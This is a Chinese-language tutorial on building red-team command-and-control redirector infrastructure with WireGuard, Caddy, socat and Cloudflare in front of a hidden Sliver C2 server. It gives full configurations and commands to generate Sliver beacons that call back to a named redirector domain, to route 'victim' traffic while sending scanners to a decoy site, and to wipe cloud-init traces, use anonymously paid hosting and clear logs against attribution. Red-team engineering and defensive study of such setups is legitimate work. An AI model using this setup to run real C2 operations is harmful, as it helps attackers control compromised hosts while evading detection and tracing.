红队基础设施建设--重定向器
字数 4181
更新时间 2026-04-16 12:07:06

红队基础设施建设:重定向器详解与实战教学

本文档基于先知社区文章《红队基础设施建设--重定向器》整理,旨在系统性地教授如何构建一个用于红队行动的多层隐蔽通信基础设施。本方案核心是通过 WireGuard 加密隧道结合 Caddy 反向代理,构建一个高隐蔽性、高对抗性的 C2 通信链路。

1. 整体架构设计

一个完整的重定向器基础设施由至少两个核心组件构成,可根据对抗强度选择单层、双层或三层架构。

1.1 核心组件

  1. 前置跳板机/重定向器:一台运行 WireGuard 服务端和 Caddy 反向代理服务的 VPS。它是暴露在公网的前置节点,负责接收来自受害者(或攻击者)的流量,并进行清洗、重定向。
  2. 后端 C2 服务器:一台运行 WireGuard 客户端和 Sliver C2 框架(或其他 C2)的 VPS。它通过加密隧道与跳板机连接,自身不直接暴露公网 IP,实现高度隐藏。

1.2 架构对比

层数 隐蔽性 部署难度 溯源难度 推荐场景
单层(仅 Caddy) ★★☆☆☆ ★☆☆☆☆ ★★☆☆☆ 快速验证/低对抗环境
双层(WireGuard + Caddy) ★★★★☆ ★★☆☆☆ ★★★★☆ 主流红队行动
三层(+ Cloudflare Fronting) ★★★★★ ★★★☆☆ ★★★★★ 高对抗环境(APT级)

本文档以主流、平衡的“双层架构”为例进行详细教学。


2. 基础设施准备

在开始配置前,需要准备两台 VPS 并完成必要的“指纹清洗”工作。

2.1 服务器与域名选择

  • 重定向器 VPS
    • 目标:接收并转发初始流量,暴露面最大。
    • 选择建议:优先选择具备一定信誉度的域名,例如 .edu.pl.ac.cn.edu.cn 等教育机构域名,或 DigitalOcean、Vultr、Hetzner 等主流 VPS 提供商。Oracle Cloud Free Tier 也是一个可选方案。
  • C2 服务器 VPS
    • 目标:运行真正的 C2 服务,需最大程度隐藏。
    • 选择建议:选择支持匿名支付、无日志策略的供应商,如 Mullvad、Njalla、1984.is 等。
  • 域名:需要一个域名(如示例中的 91vedio.core.edu.pl)来指向重定向器 VPS 的公网 IP,用于 HTTPS 证书申请和 CDN 配置。

2.2 通用指纹清洗(两端服务器均需执行)

为防止溯源和特征识别,必须清理服务器的默认指纹:

  1. 默认服务与端口:关闭非必要的服务(如 apache2nginx 默认页),修改默认 SSH 端口。
  2. 主机名:修改为无意义的随机主机名。
  3. 云厂商初始化痕迹:删除云厂商初始化脚本留下的文件和目录。
  4. HTTP/TLS 响应特征:后续通过 Caddy 配置进行统一修改。
  5. 系统版本与软件横幅:避免暴露具体版本号。
  6. 日志残留:定期清理或关闭无关日志。

基础清理命令示例

# 清理云初始化残留(对主流云商有效)
rm -rf /var/lib/cloud/ /etc/cloud/ /root/.cloud-init*

# 可选:关闭 IPv6 以简化网络环境,可能增加隐蔽性
sysctl -w net.ipv6.conf.all.disable_ipv6=1
sysctl -w net.ipv6.conf.default.disable_ipv6=1

注意:以上仅为示例,需根据实际 VPS 提供商和环境进行调整。


3. 基于 WireGuard 的加密隧道隐秘链路构建

WireGuard 用于在重定向器和 C2 服务器之间建立一个高性能、低特征的加密隧道。

3.1 Redirector_VPS(服务端)配置

  1. 安装 WireGuard

    sudo apt update && sudo apt install wireguard -y
    
  2. 生成密钥对

    cd /etc/wireguard/
    wg genkey | tee privatekey | wg pubkey > publickey
    

    执行后,privatekey 文件内容为服务器私钥publickey 文件内容为服务器公钥。记录下这两个值。

  3. 创建 WireGuard 配置文件

    sudo vim /etc/wireguard/wg0.conf
    

    写入以下配置(请替换尖括号 < > 内的内容):

    [Interface]
    Address = 10.10.0.1/24  # 隧道网络,此为服务端虚拟 IP
    SaveConfig = true
    ListenPort = 51820      # WireGuard 监听端口
    PrivateKey = <上一步生成的服务器私钥内容>
    
    [Peer]
    PublicKey = <客户端公钥(在C2服务器上生成)>
    AllowedIPs = 10.10.0.2/32  # 允许客户端使用的 IP
    
  4. 配置防火墙,放行端口

    # 检查防火墙状态
    ufw status verbose
    # 放行 WireGuard 端口 (UDP 51820)
    sudo ufw allow 51820/udp
    sudo ufw reload
    

    重要:同时需要在 VPS 提供商的安全组/防火墙规则中放行 UDP 51820 端口。

3.2 C2_VPS(客户端)配置

  1. 同样安装 WireGuard 并生成密钥对

    sudo apt update && sudo apt install wireguard -y
    cd /etc/wireguard/
    wg genkey | tee c2_privatekey | wg pubkey > c2_publickey
    

    记录 c2_privatekey(客户端私钥)和 c2_publickey(客户端公钥)。

  2. 创建 WireGuard 配置文件

    sudo vim /etc/wireguard/wg0.conf
    

    写入以下配置:

    [Interface]
    PrivateKey = <上一步生成的客户端私钥>
    Address = 10.10.0.2/24  # 客户端的虚拟 IP,需与服务端配置对应
    
    [Peer]
    PublicKey = <在Redirector_VPS上生成的服务器公钥>
    Endpoint = <Redirector_VPS的公网IP>:51820
    AllowedIPs = 10.10.0.1/32
    PersistentKeepalive = 25  # 保持连接,防止 NAT 超时断开
    

3.3 交换公钥并启动隧道

  1. 交换公钥

    • 将 C2 服务器的公钥(c2_publickey 内容)填入 Redirector_VPS 配置文件中的 [Peer] -> PublicKey
    • 将 Redirector_VPS 的公钥(publickey 内容)填入 C2_VPS 配置文件中的 [Peer] -> PublicKey
  2. 在两端启动 WireGuard 隧道

    # 启动隧道
    sudo wg-quick up wg0
    # 如需重启
    sudo wg-quick down wg0 && sudo wg-quick up wg0
    
  3. 验证连接
    在任意一端执行 sudo wg 查看连接状态。如果配置正确,应能看到对端公钥和最新的握手时间。


4. 应用层重定向:TLS卸载与业务流量清洗

在 Redirector_VPS 上部署 Caddy,用于处理 HTTPS 流量,进行反向代理和流量清洗。

4.1 Caddy 安装

sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
sudo chmod o+r /usr/share/keyrings/caddy-stable-archive-keyring.gpg
sudo chmod o+r /etc/apt/sources.list.d/caddy-stable.list
sudo apt update && sudo apt install caddy

4.2 配置反向代理与流量清洗

编辑 Caddy 配置文件:

sudo vim /etc/caddy/Caddyfile

写入以下配置(以 91vedio.core.edu.pl 为例):

91vedio.core.edu.pl {
    log {
        output stdout
    }

    # 定义匹配 C2 流量的路由规则
    @c2 path /api/v1/red/*
    handle @c2 {
        # 反向代理到 C2 服务器的 WireGuard 隧道 IP 和端口
        reverse_proxy 10.10.0.2:8080 {
            header_up Host {host}
            header_up X-Real-IP {remote_host}
            header_up X-Forwarded-For {remote_host}
        }
    }

    # 处理所有其他流量:重定向到无害的合法网站(如微软支持页面)
    handle {
        redir https://support.microsoft.com/en-us
    }
}

关键点解析

  1. C2 流量路由:所有访问 https://91vedio.core.edu.pl/api/v1/red/* 的请求,会被透明地转发到隧道内的 C2 服务器(10.10.0.2:8080)。
  2. 流量清洗:所有不匹配 C2 路径的请求(如扫描器、误访问、可疑探测),将被 302 重定向 到一个高信誉的合法网站(示例中为微软支持页面)。这极大地增加了扫描器识别和人工排查的难度。
  3. 自动 TLS:Caddy 会自动从 Let's Encrypt 为该域名申请和续期 HTTPS 证书,确保通信加密。

启动并验证 Caddy

sudo systemctl enable caddy.service
sudo systemctl restart caddy.service
# 查看日志,确认证书申请成功
journalctl -u caddy --no-pager | tail -n 100 | grep -iE successfully

4.3 高级清洗规则(示例)

在 Caddy 配置的 handle 块前,可以添加更多清洗规则:

    # 蜜罐响应:对常见管理后台、漏洞扫描路径返回 404
    handle /admin /wp-login.php /phpmyadmin /login {
        respond "404 Not Found" 404
    }

5. C2 服务器配置与载荷生成

这里以 Sliver C2 为例。

5.1 启动 HTTP 监听器

在 C2 服务器上运行 Sliver,并启动一个 HTTP 监听器,端口需与 Caddy 配置中的反向代理目标端口一致(此处为 8080)。

[server] sliver > http -l 8080

5.2 生成 HTTPS Beacon

生成一个连接到重定向器域名和特定路径的 Beacon。

[server] sliver > generate beacon --http https://91vedio.core.edu.pl/api/v1/red --os linux --arch amd64 --name linux --save ./bin/linux

此命令会生成一个 Linux 可执行文件,该 Beacon 会向 https://91vedio.core.edu.pl/api/v1/red 发起 HTTPS 通信。流量经由 Caddy 处理、清洗后,通过 WireGuard 隧道转发到本机的 8080 端口,被 Sliver 的 HTTP 监听器接收。


6. 传输层重定向:协议透传与端到端 mTLS 校验

为进一步提升隐蔽性,可以绕过应用层的 Caddy,在传输层直接进行流量转发。这适用于 mTLS 等端到端加密的 C2 协议。

6.1 在 C2 服务器启动 mTLS 监听器

[server] sliver > mtls -l 8081

6.2 生成 mTLS Beacon

[server] sliver > generate beacon --mtls 91vedio.core.edu.pl --os linux --arch amd64 --name linux_mtls --save ./bin/linux_mtls

注意:此处的 --mtls 参数后面直接跟域名,Sliver 会使用该域名信息构造通信。

6.3 在重定向器配置流量转发

在 Redirector_VPS 上,使用 socat 将公网 443 端口的 TCP 流量直接转发到 C2 服务器的 WireGuard 隧道 IP 和 mTLS 监听端口。

sudo apt install socat
# 监听 443 端口,转发到隧道对端的 8081 端口
socat TCP4-LISTEN:443,fork TCP4:10.10.0.2:8081 &

此时,Caddy 不再处理 mTLS 流量。 受害者直接与重定向器的 443 端口建立 TLS 连接(由 Sliver Beacon 内嵌的证书处理),随后所有加密流量被 socat 透明地转发到后端的 C2 服务器。这种方式实现了真正的协议透传,在重定向器上无解密过程,隐蔽性更高。


7. 改进:集成 CDN(以 Cloudflare 为例)

集成 CDN 可以隐藏重定向器的真实源站 IP,并利用 CDN 的全球网络分摊流量,进一步提升抗溯源能力。

7.1 基础 CDN 配置

  1. 将域名的 DNS 服务器修改为 Cloudflare 提供的 NS 服务器。
  2. 在 Cloudflare 控制面板中,为域名添加一条 A 记录,指向 重定向器 VPS 的真实公网 IP
  3. 在 Cloudflare 的 SSL/TLS 设置中,选择“完全”或“完全(严格)”模式,以确保流量在 Cloudflare 边缘节点与用户之间被加密。

7.2 增强隐蔽性配置

  1. 修改 Caddy 监听端口:将 Caddy 的默认监听端口从 80/443 改为非常用端口(如 8443),减少被直接扫描的风险。
    • /etc/caddy/Caddyfile 中域名后指定端口:91vedio.core.edu.pl:8443 { ... }
  2. 设置防火墙白名单:在重定向器 VPS 的防火墙(如 ufw)上,只允许来自 Cloudflare IP 地址范围的流量访问 Caddy 的监听端口(8443)。
    # 获取 Cloudflare 的 IP 段并添加到白名单(示例,需使用最新官方列表)
    sudo ufw allow from 173.245.48.0/20 to any port 8443 proto tcp
    sudo ufw allow from 103.21.244.0/22 to any port 8443 proto tcp
    # ... 添加所有 Cloudflare IPv4/IPv6 段 ...
    sudo ufw deny 8443/tcp  # 默认拒绝其他所有 IP
    
  3. 配置 Cloudflare 回源端口
    • 在 Cloudflare 的 “SSL/TLS” -> “源服务器” 设置中,可以上传自定义证书或使用 Cloudflare 生成的源证书。
    • 在 “DNS” 记录中,虽然 A 记录指向 IP,但回源端口需要在 “网络” 或通过 Page Rules/Transform Rules 来指定,或者更简单的方法:在 Caddy 侧使用非标端口,并在 Cloudflare 的 “SSL/TLS” -> “源服务器” 设置中指定“回源端口”为 8443(具体设置项名称可能因 Cloudflare 面板更新而变化)。

7.3 集成后的流量链条

受害者主机
↓ (HTTPS -> 标准 443 端口,SNI: 91vedio.core.edu.pl)
Cloudflare 全球任意边缘节点 (IP: 104.16.xxx.xxx)
↓ (HTTPS -> 自定义 8443 端口,且源IP限定为Cloudflare官方IP段)
重定向器跳板机 (真实IP: A.A.A.A,但对公网仅开放8443且被Cloudflare IP白名单保护)
↓ (WireGuard 加密隧道)
C2服务器 (真实IP: B.B.B.B,完全隐藏)

通过以上步骤,一个具备高隐蔽性、高抗溯源能力的红队重定向器基础设施即搭建完成。此架构能有效对抗网络空间测绘、流量分析和溯源取证。在实际使用中,请务必遵守所在国家/地区的法律法规,仅在获得明确授权的测试环境中使用。

相似文章
相似文章
 全屏